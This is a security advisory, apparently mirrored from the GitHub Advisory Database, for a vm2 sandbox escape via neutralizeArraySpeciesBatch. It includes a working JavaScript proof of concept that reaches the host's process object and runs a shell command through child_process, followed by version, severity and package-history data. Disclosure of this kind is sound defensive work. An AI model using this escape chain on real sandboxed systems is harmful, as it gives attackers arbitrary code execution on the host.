vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
set(value) {
a.f = Buffer.prototype.inspect;
value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
});
new Buffer(a);
`));Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vm2 | < 3.11.2 | 3.11.2 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-668- Platform
- npm
- Package
vm2- Disclosed
- 08.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9qj6-qjgg-37qq - CC BY 4.0
Vulnerability history: vm2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 78
- First → latest
- 10.2021 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 51
- High 14
- Medium 12
- Low 1
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
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vm2 has sandbox breakout via `neutralizeArraySpeciesBatch` this entry
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